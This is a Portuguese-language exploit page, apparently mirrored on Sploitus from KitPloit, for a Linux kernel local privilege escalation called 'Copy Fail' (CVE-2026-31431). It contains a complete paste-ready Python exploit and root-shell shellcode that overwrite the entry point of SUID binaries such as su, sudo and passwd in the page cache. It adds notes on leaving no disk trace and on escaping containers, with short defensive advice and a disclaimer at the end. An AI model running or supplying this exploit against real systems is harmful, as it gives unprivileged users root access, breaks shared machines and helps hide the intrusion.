Sploitus

Exploit for CVE-2026-31431-CopyFail-Universal-LPE

kitploit · 2026-08-27

Exploit Code

MARKDOWN326 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHADOWABI-CVE-2026-31431-COPYFAIL-UNIVERSAL-LPE
# CVE-2026-31431 "Copy Fail" — Exploit LPE Universal

> **Escrita arbitrária de 4 bytes no page cache do kernel Linux → Escalação Local de Privilégios**
> 
> Múltiplas abordagens de exploit: sobrescrita dinâmica do entry point ELF, substituição completa do binário, compatível com Python 3.x com fallback de splice via ctypes.

## O que é isto?

CVE-2026-31431 é uma vulnerabilidade no subsistema criptográfico AF_ALG do kernel Linux. Ao abusar de `splice()` \+ descriptografia in-place `authencesn`, um utilizador sem privilégios pode escrever **4 bytes num offset arbitrário** no **page cache** do kernel — o mesmo cache usado para toda a memória com suporte em ficheiros.

Isto significa:

  * **Sem condições de corrida** — single-threaded, determinístico
  * **Sem privilégios especiais** — funciona dentro de contentores Docker padrão (seccomp permite AF_ALG)
  * **Sem dependência de versão do kernel** — afeta todos os kernels de 2017 até ao presente
  * **Modifica ficheiros apenas em memória** — o disco não é tocado, o reboot apaga todos os vestígios



## Abordagens de Exploit

Este repositório fornece **três** ferramentas que usam a mesma primitiva copy-fall do AF_ALG:

**Entry point dinâmico** — Analisa o cabeçalho ELF em tempo de execução para calcular o offset do ficheiro do entry point (`p_offset + (e_entry - p_vaddr)`), depois escreve um stub de shellcode pequeno. Sem offsets hardcoded — um único script funciona em qualquer binário SUID x86_64, independentemente da distribuição ou versão.

**Substituição completa do binário** — Sobrescreve o alvo a partir do offset 0 com um payload ELF completo pré-construído (comprimido com zlib e embutido no script). Pode visar binários não-SUID executados por processos privilegiados (cron jobs, serviços systemd, kube-proxy). Funciona com Python 2.

**Verificador de vulnerabilidade** — Testa se o sistema alvo tem AF_ALG, authencesn e algif_aead disponíveis antes de executar um exploit.

## Início Rápido

### Pré-requisitos

  * Kernel Linux (qualquer versão desde ~2017)
  * Python 3.x (para `exploit.py`; Python 2 suportado via `poc_compatible.py`)
  * Qualquer binário SUID-root (`/usr/bin/su`, `/usr/bin/sudo`, etc.)



### Reprodução numa única linha

root@kitploit:~
    
    
    # Criar um contentor de teste com um utilizador sem privilégios
    docker run -ti --rm ubuntu:22.04 bash -c '
      sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
      apt-get update -qq && apt-get install -y -qq python3 gcc
      cat > /tmp/verify.c << EOF
    #include <unistd.h>
    #include <stdio.h>
    int main() {
        printf("uid=%d euid=%d\\n", getuid(), geteuid());
        printf("Not rooted - exploit entry point to get shell\\n");
        return 0;
    }
    EOF
      gcc -o /usr/local/bin/verify /tmp/verify.c
      chmod 4755 /usr/local/bin/verify
      useradd -m testuser
      su - testuser
    '
    

Depois, dentro do contentor como `testuser`:

root@kitploit:~
    
    
    # Antes: setuid(0) falha porque o uid real não é 0
    /usr/local/bin/verify
    # uid=1000 euid=0
    # (sai normalmente, sem root)
    
    # Executar o exploit
    python3 exploit.py /usr/local/bin/verify
    
    # Depois: entry point sobrescrito, shellcode obtém root
    # uid=0(root) gid=1000(testuser)
    

### Numa única linha (sem necessidade de transferência de ficheiros)

Em cenários reais, muitas vezes só tens uma shell crua — sem `scp`, sem `curl`, sem `wget`. Este método usa `cat` heredoc para escrever o exploit diretamente no terminal:

root@kitploit:~
    
    
    # Opção 1: executar o script de shell
    sh exploit-one-liner.sh /usr/local/bin/verify
    
    # Opção 2: colar diretamente no terminal (copiar o bloco inteiro)
    cat > /tmp/exploit.py << 'EXPY'
    from __future__ import print_function
    import os,socket,struct,sys,binascii,ctypes,ctypes.util
    if not hasattr(os,'splice'):
     _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
     def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
      ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
      if r==-1:raise OSError(ctypes.get_errno(),'splice')
      return r
     os.splice=_s
    def d(x):
     if isinstance(x,str):x=x.encode('ascii')
     return binascii.unhexlify(x)
    def w(t,o,p):
     s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
     s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
     u,_=s.accept();z=d('00')
     u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
     r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
     try:u.recv(8+o)
     except:0
     [os.close(x) for x in [fd,r,ww]];u.close();s.close()
    with open(sys.argv[1],'rb') as f: h=f.read(64)
    e=struct.unpack_from('<Q',h,24)[0]
    p=struct.unpack_from('<Q',h,32)[0]
    n=struct.unpack_from('<H',h,56)[0]
    sz=struct.unpack_from('<H',h,54)[0]
    off=0
    with open(sys.argv[1],'rb') as f:
     for i in range(n):
      f.seek(p+i*sz);ph=f.read(sz)
      if struct.unpack_from('<I',ph,0)[0]!=1: continue
      pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
      if pv<=e<pv+pf: off=pv2+(e-pv);break
    print("entry offset: 0x%x" % off)
    sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
    sc+=b'\x48\x31\xd2\x52'
    sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
    sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
    print("shellcode %d bytes" % len(sc))
    sc+=b'\x00'*(4-len(sc)%4)
    for i in range(len(sc)//4):
     w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
     print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
    with open(sys.argv[1],'rb') as f:
     f.seek(off);vd=f.read(32)
    print("verify: %s" % vd[:len(sc)].hex())
    os.system(sys.argv[1])
    EXPY
    
    python3 /tmp/exploit.py /usr/local/bin/verify
    

> **Porque é que isto importa** : Ambientes de contentores muitas vezes não têm ferramentas de transferência de ficheiros (`scp`, `curl`, `wget`). O método heredoc requer apenas `cat` e `python3` — disponíveis em todo o lado.

### Visar Outros Binários SUID

Podes substituir `/usr/local/bin/verify` por qualquer binário SUID-root:

root@kitploit:~
    
    
    python3 exploit.py /usr/bin/su
    python3 exploit.py /usr/bin/sudo
    python3 exploit.py /usr/bin/passwd
    python3 exploit.py /usr/bin/chsh
    

> ⚠️ **Aviso** : Visar binários SUID do sistema (como `/usr/bin/su`) afeta **todos os utilizadores do sistema**. O binário fica inutilizável até o page cache ser limpo. Na máquina anfitriã, qualquer utilizador que execute `su` obteria uma shell root.
> 
> Num sistema partilhado/em produção, isto é **imediatamente percetível** — `su` vai crashar ou gerar shells inesperadas para todos. Usa `verify.c` para testes seguros.

### Recuperação

O exploit apenas modifica o **page cache** (memória), não o disco. Opções de recuperação:

root@kitploit:~
    
    
    # No anfitrião (após testes no contentor):
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    
    # Verificar recuperação:
    xxd -l 8 /usr/bin/su
    # Deve mostrar: 7f45 4c46 (.ELF)
    

> **Nota** : Dentro de um contentor padrão (não privilegiado), `echo 3 > /proc/sys/vm/drop_caches` falha com `Read-only file system` — isto requer acesso ao anfitrião ou destruição do contentor.

## Superfície de Ataque

## Como Funciona

### A Vulnerabilidade

O algoritmo AEAD `authencesn` do kernel tem um bug no seu caminho de descriptografia in-place:

  1. O utilizador cria um socket `AF_ALG` com `authencesn(hmac(sha256), cbc(aes))`
  2. O utilizador chama `splice()` para alimentar dados do ficheiro no socket criptográfico — isto mapeia **páginas do page cache** diretamente no scatterlist do kernel
  3. Durante a descriptografia, `authencesn` escreve 4 bytes de `seqno_lo` após a tag de autenticação
  4. Ao controlar o comprimento dos dados associados e o layout do IV, o atacante controla **onde** esses 4 bytes aterram



Resultado: **escrita arbitrária de 4 bytes em qualquer ficheiro no page cache**.

### O Exploit

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────┐
    │  Binário ELF (/usr/bin/su)                           │
    │                                                     │
    │  0x0000: ┌──────────┐                               │
    │          │ ELF Header │  e_entry = 0x4013f0         │
    │          │           │  ← analisado dinamicamente   │
    │          └──────────┘                               │
    │  ...                                                │
    │  0x3f20: ┌──────────┐  ← offset do ficheiro calculado│
    │          │ código original │                         │
    │          │           │  ─── copy fall escreve ───→  │
    │          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
    │          └──────────┘                               │
    │  ...                                                │
    └─────────────────────────────────────────────────────┘
    
    Quando o kernel carrega o binário SUID, define euid=0 e depois salta para o entry point.
    O entry point agora é o nosso shellcode → setuid(0) é bem-sucedido → shell root.
    

### Shellcode

root@kitploit:~
    
    
    xor  rdi, rdi          ; uid = 0
    xor  eax, eax
    mov  al, 0x69           ; __NR_setuid
    syscall                 ; setuid(0)
    xor  rdx, rdx
    push rdx                ; terminador nulo
    movabs rbx, "/bin/sh\0"
    push rbx
    mov  rdi, rsp           ; nome do ficheiro
    xor  rsi, rsi           ; argv = NULL
    xor  eax, eax
    mov  al, 0x3b           ; __NR_execve
    syscall                 ; execve("/bin/sh", NULL, NULL)
    

36 bytes, 9 escritas copy-fall (4 bytes cada).

## Porque é que Isto Importa

### Segurança de Contentores

Contentores Docker padrão **não estão** protegidos contra isto:

Proteção| Estado  
---|---  
Seccomp| ✅ AF_ALG permitido por padrão  
Namespaces de utilizador| ❌ Não usados no Docker padrão  
AppArmor/SELinux| ❌ Não restringe AF_ALG  
Remoção de capabilities| ❌ Não são necessárias caps especiais  
  
A única coisa que impede o escape de contentor é o isolamento do page cache por mount do overlayfs. Mas uma vez que tenhas root dentro do contentor, técnicas padrão de escape aplicam-se (cgroup release_agent, docker.sock, tokens serviceaccount do K8s, metadata da cloud).

### Dificuldade de Deteção

  * **O disco nunca é modificado** — as escritas no page cache são apenas em memória
  * **Nenhum ficheiro novo é criado** — o exploit é um único script Python
  * **Nenhum módulo do kernel é carregado** — puro abuso de syscalls
  * **O reboot apaga toda a evidência** — o page cache é volátil



### Sistemas Afetados

Todos os kernels Linux desde a conversão in-place do `algif_aead` (integrada ~2017), incluindo:

  * Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  * Debian 10 / 11 / 12
  * RHEL 8 / 9
  * CentOS Stream
  * Amazon Linux 2 / 2023
  * **Contentores Docker** (perfil seccomp padrão)
  * **Pods Kubernetes** (configurações padrão)
  * **WSL2** (confirmado)



## Estrutura de Ficheiros

root@kitploit:~
    
    
    .
    ├── exploit.py              # Sobrescrita dinâmica do entry point ELF (Python 3.x)
    ├── exploit-one-liner.sh    # Versão pronta para colar (sem transferência de ficheiros)
    ├── poc_compatible.py       # Sobrescrita completa do binário ELF a partir do offset 0 (Python 2/3, por h4ppy7ree)
    ├── poc_ctypes.py           # splice via ctypes para Python 3.0-3.9 (por h4ppy7ree)
    ├── check_cve.sh            # Verificador de vulnerabilidade (por h4ppy7ree)
    ├── verify/
    │   └── verify.c            # Programa de verificação SUID para testes
    └── README.md               # Este ficheiro
    

## Defesa

  * **Aplicar patch do kernel** — correção upstream disponível
  * **Seccomp** : Bloquear o domínio `AF_ALG` (`socket(AF_ALG, ...)` → `errno`)
  * **AppArmor** : Negar criação de sockets `af_alg`
  * **Endurecimento do kernel** : `CONFIG_CRYPTO_USER_API_AEAD=n`
  * **Monitorização** : Auditar syscalls `socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)`



## Créditos

  * **Descoberta da vulnerabilidade** : Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  * **Cálculo dinâmico de offsets & exploit universal**: Este trabalho
  * **Abordagem de substituição completa do binário & verificador de vulnerabilidade**: h4ppy7ree (PR #1)



## Aviso Legal

Este exploit é fornecido **apenas para investigação de segurança autorizada e fins educacionais**. O acesso não autorizado a sistemas informáticos é ilegal. Os autores não assumem qualquer responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

## Licença

MIT